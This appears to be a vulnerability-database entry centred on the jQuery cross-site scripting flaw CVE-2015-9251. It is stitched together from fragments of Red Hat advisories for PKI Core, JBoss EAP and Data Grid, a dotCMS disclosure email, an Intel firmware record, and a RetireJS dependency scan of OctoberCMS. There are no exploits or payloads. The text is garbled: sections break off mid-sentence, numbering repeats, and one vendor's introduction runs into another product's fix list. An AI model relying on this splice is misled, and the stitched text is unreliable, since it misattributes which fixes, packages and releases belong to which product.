CVE-2017-15107, CVE-2019-14513
Package Information:
https://launchpad.net/ubuntu/+source/dnsmasq/2.75-1ubuntu0.16.04.10
| VAR-201801-0828 | CVE-2017-5699 | Intel MinnowBoard 3 Input Validation Vulnerability |
CVSS V2: 2.1 CVSS V3: 5.5 Severity: MEDIUM |
Input validation error in Intel MinnowBoard 3 Firmware versions prior to 0.65 allow local attacker to cause denial of service via UEFI APIs. Intel MinnowBoard 3 Contains an input validation vulnerability.Service operation interruption (DoS) There is a possibility of being put into a state. IntelMinnowBoard3 is a computer motherboard from Intel Corporation of the United States. An input validation vulnerability exists in IntelMinnowBoard3
| VAR-201801-0036 | CVE-2015-9251 | jQuery Cross-site Scripting Vulnerability |
CVSS V2: 4.3 CVSS V3: 6.1 Severity: MEDIUM |
jQuery before 3.0.0 is vulnerable to Cross-site Scripting (XSS) attacks when a cross-domain Ajax request is performed without the dataType option, causing text/javascript responses to be executed. jQuery Contains a cross-site scripting vulnerability.Information may be obtained and information may be tampered with. jQuery is an open source, cross-browser JavaScript library developed by American John Resig programmers. The library simplifies the operation between HTML and JavaScript, and has the characteristics of modularization and plug-in extension. The vulnerability stems from the lack of correct validation of client data in WEB applications. An attacker could exploit this vulnerability to execute client code. Relevant releases/architectures:
Red Hat Enterprise Linux AppStream (v. 8) - aarch64, noarch, ppc64le, s390x, x86_64
3. Description:
The Public Key Infrastructure (PKI) Core contains fundamental packages
required by Red Hat Certificate System.
Security Fix(es):
* jquery: Cross-site scripting via cross-domain ajax requests
(CVE-2015-9251)
* bootstrap: XSS in the data-target attribute (CVE-2016-10735)
* bootstrap: Cross-site Scripting (XSS) in the collapse data-parent
attribute (CVE-2018-14040)
* bootstrap: Cross-site Scripting (XSS) in the data-container property of
tooltip (CVE-2018-14042)
* bootstrap: XSS in the tooltip or popover data-template attribute
(CVE-2019-8331)
* jquery: Prototype pollution in object's prototype leading to denial of
service, remote code execution, or property injection (CVE-2019-11358)
* jquery: Cross-site scripting due to improper injQuery.htmlPrefilter
method (CVE-2020-11022)
* jquery: Passing HTML containing <option> elements to manipulation methods
could result in untrusted code execution (CVE-2020-11023)
* pki: Dogtag's python client does not validate certificates
(CVE-2020-15720)
* pki-core: Reflected XSS in 'path length' constraint field in CA's Agent
page (CVE-2019-10146)
* pki-core/pki-kra: Reflected XSS in recoveryID search field at KRA's DRM
agent page in authorize recovery tab (CVE-2019-10179)
* pki-core: Reflected XSS in getcookies?url= endpoint in CA
(CVE-2019-10221)
* pki-core: KRA vulnerable to reflected XSS via the getPk12 page
(CVE-2020-1721)
For more details about the security issue(s), including the impact, a CVSS
score, acknowledgments, and other related information, refer to the CVE
page(s) listed in the References section. Solution:
For details on how to apply this update, which includes the changes
described in this advisory, refer to:
https://access.redhat.com/articles/11258
5. Bugs fixed (https://bugzilla.redhat.com/):
1376706 - restore SerialNumber tag in caManualRenewal xml
1399546 - CVE-2015-9251 jquery: Cross-site scripting via cross-domain ajax requests
1406505 - KRA ECC installation failed with shared tomcat
1601614 - CVE-2018-14040 bootstrap: Cross-site Scripting (XSS) in the collapse data-parent attribute
1601617 - CVE-2018-14042 bootstrap: Cross-site Scripting (XSS) in the data-container property of tooltip
1666907 - CC: Enable AIA OCSP cert checking for entire cert chain
1668097 - CVE-2016-10735 bootstrap: XSS in the data-target attribute
1686454 - CVE-2019-8331 bootstrap: XSS in the tooltip or popover data-template attribute
1695901 - CVE-2019-10179 pki-core/pki-kra: Reflected XSS in recoveryID search field at KRA's DRM agent page in authorize recovery tab
1701972 - CVE-2019-11358 jquery: Prototype pollution in object's prototype leading to denial of service, remote code execution, or property injection
1706521 - CA - SubjectAltNameExtInput does not display text fields to the enrollment page
1710171 - CVE-2019-10146 pki-core: Reflected XSS in 'path length' constraint field in CA's Agent page
1721684 - Rebase pki-servlet-engine to 9.0.30
1724433 - caTransportCert.cfg contains MD2/MD5withRSA as signingAlgsAllowed.
1732565 - CVE-2019-10221 pki-core: Reflected XSS in getcookies?url= endpoint in CA
1732981 - When nuxwdog is enabled pkidaemon status shows instances as stopped.
1777579 - CVE-2020-1721 pki-core: KRA vulnerable to reflected XSS via the getPk12 page
1805541 - [RFE] CA Certificate Transparency with Embedded Signed Certificate Time stamp
1817247 - Upgrade to 10.8.3 breaks PKI Tomcat Server
1821851 - [RFE] Provide SSLEngine via JSSProvider for use with PKI
1822246 - JSS - NativeProxy never calls releaseNativeResources - Memory Leak
1824939 - JSS: add RSA PSS support - RHEL 8.3
1824948 - add RSA PSS support - RHEL 8.3
1825998 - CertificatePoliciesExtDefault MAX_NUM_POLICIES hardcoded limit
1828406 - CVE-2020-11022 jquery: Cross-site scripting due to improper injQuery.htmlPrefilter method
1842734 - CVE-2019-10179 pki-core: pki-core/pki-kra: Reflected XSS in recoveryID search field at KRA's DRM agent page in authorize recovery tab [rhel-8]
1842736 - CVE-2019-10146 pki-core: Reflected Cross-Site Scripting in 'path length' constraint field in CA's Agent page [rhel-8]
1843537 - Able to Perform PKI CLI operations like cert request and approval without nssdb password
1845447 - pkispawn fails in FIPS mode: AJP connector has secretRequired="true" but no secret
1850004 - CVE-2020-11023 jquery: Passing HTML containing <option> elements to manipulation methods could result in untrusted code execution
1854043 - /usr/bin/PrettyPrintCert is failing with a ClassNotFoundException
1854959 - ca-profile-add with Netscape extensions nsCertSSLClient and nsCertEmail in the profile gets stuck in processing
1855273 - CVE-2020-15720 pki: Dogtag's python client does not validate certificates
1855319 - Not able to launch pkiconsole
1856368 - kra-key-generate request is failing
1857933 - CA Installation is failing with ncipher v12.30 HSM
1861911 - pki cli ca-cert-request-approve hangs over crmf request from client-cert-request
1869893 - Common certificates are missing in CS.cfg on shared PKI instance
1871064 - replica install failing during pki-ca component configuration
1873235 - pki ca-user-cert-add with secure port failed with 'SSL_ERROR_INAPPROPRIATE_FALLBACK_ALERT'
6. Package List:
Red Hat Enterprise Linux AppStream (v. Our key and
details on how to verify the signature are available from
https://access.redhat.com/security/team/key/
7. Solution:
Before applying this update, make sure all previously released errata
relevant to your system have been applied. JIRA issues fixed (https://issues.jboss.org/):
JBEAP-23864 - (7.4.z) Upgrade xmlsec from 2.1.7.redhat-00001 to 2.2.3.redhat-00001
JBEAP-23865 - [GSS](7.4.z) Upgrade Apache CXF from 3.3.13.redhat-00001 to 3.4.10.redhat-00001
JBEAP-23866 - (7.4.z) Upgrade wss4j from 2.2.7.redhat-00001 to 2.3.3.redhat-00001
JBEAP-23926 - Tracker bug for the EAP 7.4.9 release for RHEL-7
JBEAP-24055 - (7.4.z) Upgrade HAL from 3.3.15.Final-redhat-00001 to 3.3.16.Final-redhat-00001
JBEAP-24081 - (7.4.z) Upgrade Elytron from 1.15.14.Final-redhat-00001 to 1.15.15.Final-redhat-00001
JBEAP-24095 - (7.4.z) Upgrade elytron-web from 1.9.2.Final-redhat-00001 to 1.9.3.Final-redhat-00001
JBEAP-24100 - [GSS](7.4.z) Upgrade Undertow from 2.2.20.SP1-redhat-00001 to 2.2.22.SP3-redhat-00001
JBEAP-24127 - (7.4.z) UNDERTOW-2123 - Update AsyncContextImpl.dispatch to use proper value
JBEAP-24128 - (7.4.z) Upgrade Hibernate Search from 5.10.7.Final-redhat-00001 to 5.10.13.Final-redhat-00001
JBEAP-24132 - [GSS](7.4.z) Upgrade Ironjacamar from 1.5.3.SP2-redhat-00001 to 1.5.10.Final-redhat-00001
JBEAP-24147 - (7.4.z) Upgrade jboss-ejb-client from 4.0.45.Final-redhat-00001 to 4.0.49.Final-redhat-00001
JBEAP-24167 - (7.4.z) Upgrade WildFly Core from 15.0.19.Final-redhat-00001 to 15.0.21.Final-redhat-00002
JBEAP-24191 - [GSS](7.4.z) Upgrade remoting from 5.0.26.SP1-redhat-00001 to 5.0.27.Final-redhat-00001
JBEAP-24195 - [GSS](7.4.z) Upgrade JSF API from 3.0.0.SP06-redhat-00001 to 3.0.0.SP07-redhat-00001
JBEAP-24207 - (7.4.z) Upgrade Soteria from 1.0.1.redhat-00002 to 1.0.1.redhat-00003
JBEAP-24248 - (7.4.z) ELY-2492 - Upgrade sshd-common in Elytron from 2.7.0 to 2.9.2
JBEAP-24426 - (7.4.z) Upgrade Elytron from 1.15.15.Final-redhat-00001 to 1.15.16.Final-redhat-00001
JBEAP-24427 - (7.4.z) Upgrade WildFly Core from 15.0.21.Final-redhat-00002 to 15.0.22.Final-redhat-00001
7. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
====================================================================
Red Hat Security Advisory
Synopsis: Important: Red Hat Data Grid 7.3.5 security update
Advisory ID: RHSA-2020:0729-01
Product: Red Hat JBoss Data Grid
Advisory URL: https://access.redhat.com/errata/RHSA-2020:0729
Issue date: 2020-03-05
CVE Names: CVE-2015-9251 CVE-2019-14888 CVE-2019-14892
CVE-2019-14893 CVE-2019-16335
====================================================================
1. Summary:
An update for Red Hat Data Grid is now available.
Red Hat Product Security has rated this update as having a security impact
of Important. A Common Vulnerability Scoring System (CVSS) base score,
which gives a detailed severity rating, is available for each vulnerability
from the CVE link(s) in the References section.
2. Description:
Red Hat Data Grid is a distributed, in-memory, NoSQL datastore based on the
Infinispan project.
This release of Red Hat Data Grid 7.3.5 serves as a replacement for Red Hat
Data Grid 7.3.4 and includes bug fixes and enhancements, which are
described in the Release Notes, linked to in the References section of this
erratum.
Security Fix(es):
* undertow: possible Denial Of Service (DOS) in Undertow HTTP server
listening on HTTPS (CVE-2019-14888)
* js-jquery: Cross-site scripting via cross-domain ajax requests
(CVE-2015-9251)
* jackson-databind: Serialization gadgets in classes of the
commons-configuration package (CVE-2019-14892)
* jackson-databind: Serialization gadgets in classes of the xalan package
(CVE-2019-14893)
* jackson-databind: polymorphic typing issue related to
com.zaxxer.hikari.HikariDataSource (CVE-2019-16335)
For more details about the security issue(s), including the impact, a CVSS
score, acknowledgments, and other related information, refer to the CVE
page(s) listed in the References section.
3. Solution:
To install this update, do the following:
1. Download the Data Grid 7.3.5 server patch from the customer portal.
2. Back up your existing Data Grid installation. You should back up
databases, configuration files, and so on.
3. Install the Data Grid 7.3.5 server patch. Refer to the 7.3 Release Notes
for patching instructions.
4. Restart Data Grid to ensure the changes take effect.
4. Bugs fixed (https://bugzilla.redhat.com/):
1399546 - CVE-2015-9251 js-jquery: Cross-site scripting via cross-domain ajax requests
1755831 - CVE-2019-16335 jackson-databind: polymorphic typing issue related to com.zaxxer.hikari.HikariDataSource
1758171 - CVE-2019-14892 jackson-databind: Serialization gadgets in classes of the commons-configuration package
1758182 - CVE-2019-14893 jackson-databind: Serialization gadgets in classes of the xalan package
1772464 - CVE-2019-14888 undertow: possible Denial Of Service (DOS) in Undertow HTTP server listening on HTTPS
5. References:
https://access.redhat.com/security/cve/CVE-2015-9251
https://access.redhat.com/security/cve/CVE-2019-14888
https://access.redhat.com/security/cve/CVE-2019-14892
https://access.redhat.com/security/cve/CVE-2019-14893
https://access.redhat.com/security/cve/CVE-2019-16335
https://access.redhat.com/security/updates/classification/#important
https://access.redhat.com/jbossnetwork/restricted/softwareDetail.html?softwareIdp381&product\xdata.grid&version=7.3&downloadType=patches
https://access.redhat.com/documentation/en-us/red_hat_data_grid/7.3/html-single/red_hat_data_grid_7.3_release_notes/index
6. Contact:
The Red Hat security contact is <secalert@redhat.com>. More contact
details at https://access.redhat.com/security/team/contact/
Copyright 2020 Red Hat, Inc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQIVAwUBXmD64dzjgjWX9erEAQhVEw//YhsuCp6jWyCTmV4ityeuQbAfugDZbDil
UgLHKB9LytAPXZunO8F+JpvNUAjTuPuJCXoTLY75Qz50v1Tdi1sCFr4oeQcpwkTZ
L3+x5F4p8B+xAWTtmP+dM/36OClSLDvKcT+wLcwIZs9uUhXt5a/eMcbGkEvDRqeS
56WULWu2uHYhOPr3l7SaL3V0+7GTH3QsaeqNTohn8wsSjsdVWJwh4L8St1MVdPiI
qraV1nN5DY0uqHfkIdZJY5dnhJ43PVvSgf9TS+0GFYZN78F9FMQQi94MRHQbNOuc
LJrbiVXWgyDBIPJCA0Nu5TYutIdRcD6agHXeFay2SRCEMxfXdtFVEstInAOMy7g8
daH7DGPvNG9tyC32uKJpq11/3qCulfJ2WzIocuLUnBTg13pjhpOGTSG5h+kxTybR
IU83IP24lVZOdkbXv/9GBWPwyOPpZO1IO7zUTaGPoRbGW+167pRoMp8LG28NCth3
mENbW2oBk/sAQbiUQ6oQntKmLBOC4yQDAskvWTf82csrcve0kAcOCFU5ivnRt4Mf
mePrVsHc1O/WHFyoZP9TPX99h0jYKHKxP8VE81RT2MkQmnPkL1UQcnFmtutcVqEd
LNNW7Y8V6thdeZRspwAR575lqYzq59dNkGeINHuWTv4DWHQTneVcJB7a1fAvcFB6
6hUzIjSDmgY=NGTq
-----END PGP SIGNATURE-----
--
RHSA-announce mailing list
RHSA-announce@redhat.com
https://www.redhat.com/mailman/listinfo/rhsa-announce
. Hello,
I identified several vulnerabilities in dotCMS v5.1.1 due to vulnerable
open source dependencies.
The purpose of this text-only errata is to inform you about the security
issues fixed in this release.
Security Fix(es):
* HTTP/2: flood using PING frames results in unbounded memory growth
(CVE-2019-9512)
* HTTP/2: flood using PRIORITY frames results in excessive resource
consumption (CVE-2019-9513)
* HTTP/2: flood using HEADERS frames results in unbounded memory growth
(CVE-2019-9514)
* HTTP/2: flood using SETTINGS frames results in unbounded memory growth
(CVE-2019-9515)
* HTTP/2: 0-length headers lead to denial of service (CVE-2019-9516)
* HTTP/2: request for large response leads to denial of service
(CVE-2019-9517)
* HTTP/2: flood using empty frames results in excessive resource
consumption (CVE-2019-9518)
* infinispan: invokeAccessibly method from ReflectionUtil class allows to
invoke private methods (CVE-2019-10174)
* spring-security-core: mishandling of user passwords allows logging in
with a password of NULL (CVE-2019-11272)
* jackson-databind: failure to block the logback-core class from
polymorphic deserialization leading to remote code execution
(CVE-2019-12384)
* jackson-databind: default typing mishandling leading to remote code
execution (CVE-2019-14379)
* xmlrpc: Deserialization of server-side exception from faultCause in
XMLRPC error response (CVE-2019-17570)
* js-jquery: Cross-site scripting via cross-domain ajax requests
(CVE-2015-9251)
* logback: Serialization vulnerability in SocketServer and
ServerSocketReceiver (CVE-2017-5929)
* js-jquery: XSS in responses from cross-origin ajax requests
(CVE-2017-16012)
* apache-commons-compress: ZipArchiveInputStream.read() fails to identify
correct EOF allowing for DoS via crafted zip (CVE-2018-11771)
* spring-data-api: potential information disclosure through maliciously
crafted example value in ExampleMatcher (CVE-2019-3802)
* undertow: leak credentials to log files
UndertowLogger.REQUEST_LOGGER.undertowRequestFailed (CVE-2019-3888)
* shiro: Cookie padding oracle vulnerability with default configuration
(CVE-2019-12422)
* jackson-databind: polymorphic typing issue allows attacker to read
arbitrary local files on the server via crafted JSON message.
Installation instructions are available from the Fuse 7.6.0 product
documentation page:
https://access.redhat.com/documentation/en-us/red_hat_fuse/7.6/
4.
1725807 - CVE-2019-12384 jackson-databind: failure to block the logback-core class from polymorphic deserialization leading to remote code execution
1728993 - CVE-2019-11272 spring-security-core: mishandling of user passwords allows logging in with a password of NULL
1730316 - CVE-2019-3802 spring-data-api: potential information disclosure through maliciously crafted example value in ExampleMatcher
1735645 - CVE-2019-9512 HTTP/2: flood using PING frames results in unbounded memory growth
1735741 - CVE-2019-9513 HTTP/2: flood using PRIORITY frames results in excessive resource consumption
1735744 - CVE-2019-9514 HTTP/2: flood using HEADERS frames results in unbounded memory growth
1735745 - CVE-2019-9515 HTTP/2: flood using SETTINGS frames results in unbounded memory growth
1735749 - CVE-2019-9518 HTTP/2: flood using empty frames results in excessive resource consumption
1737517 - CVE-2019-14379 jackson-databind: default typing mishandling leading to remote code execution
1741864 - CVE-2019-9516 HTTP/2: 0-length headers lead to denial of service
1741868 - CVE-2019-9517 HTTP/2: request for large response leads to denial of service
1752962 - CVE-2019-14439 jackson-databind: Polymorphic typing issue related to logback/JNDI
1774726 - CVE-2019-12422 shiro: Cookie padding oracle vulnerability with default configuration
1775193 - CVE-2019-17570 xmlrpc: Deserialization of server-side exception from faultCause in XMLRPC error response
5. OctoberCMS is a CMS similar to WordPress, but with much less “fluff”. SECURELI.com's team identified the latest version of OctoberCMS relying on Bootstrap 3.3.7, jQuery 1.11.1, and jQuery 3.3.1. All of these dependencies are vulnerable.
--------------------------------------------------
/october/themes/demo/assets/vendor/bootstrap.js
bootstrap 3.3.7 has known vulnerabilities
severity: high
issue: 28236
summary: XSS in data-template, data-content and data-title properties of tooltip/popover
CVE-2019-8331
https://github.com/twbs/bootstrap/issues/28236
severity: medium
issue: 20184
summary: XSS in data-target property of scrollspy
CVE-2018-14041
https://github.com/twbs/bootstrap/issues/20184
severity: medium
issue: 20184
summary: XSS in collapse data-parent attribute
CVE-2018-14040
https://github.com/twbs/bootstrap/issues/20184
severity: medium
issue: 20184
summary: XSS in data-container property of tooltip
CVE-2018-14042
https://github.com/twbs/bootstrap/issues/20184
--------------------------------------------------
/october/themes/demo/assets/vendor/jquery.js
jquery 1.11.1 has known vulnerabilities
severity: medium
issue: 2432
summary: 3rd party CORS request may execute
CVE-2015-9251
https://github.com/jquery/jquery/issues/2432
http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/
https://nvd.nist.gov/vuln/detail/CVE-2015-9251
http://research.insecurelabs.org/jquery/test/
severity: medium
CVE-2015-9251
issue: 11974
summary: parseHTML() executes scripts in event handlers
https://bugs.jquery.com/ticket/11974
https://nvd.nist.gov/vuln/detail/CVE-2015-9251
http://research.insecurelabs.org/jquery/test/
severity: low
CVE-2019-11358
summary: jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, …) because of Object.prototype pollution
https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/
https://nvd.nist.gov/vuln/detail/CVE-2019-11358
https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b
--------------------------------------------------
/october/modules/backend/assets/js/vendor/jquery-and-migrate.min.js
jquery 3.3.1 has known vulnerabilities
severity: low
CVE-2019-11358
summary: jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, …) because of Object.prototype pollution
https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/
https://nvd.nist.gov/vuln/detail/CVE-2019-11358
https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b
All of these vulnerabilities were identified using RetireJS (https://retirejs.github.io/retire.js/), which identifies open source dependency vulnerabilities.
Research provided by SECURELI.com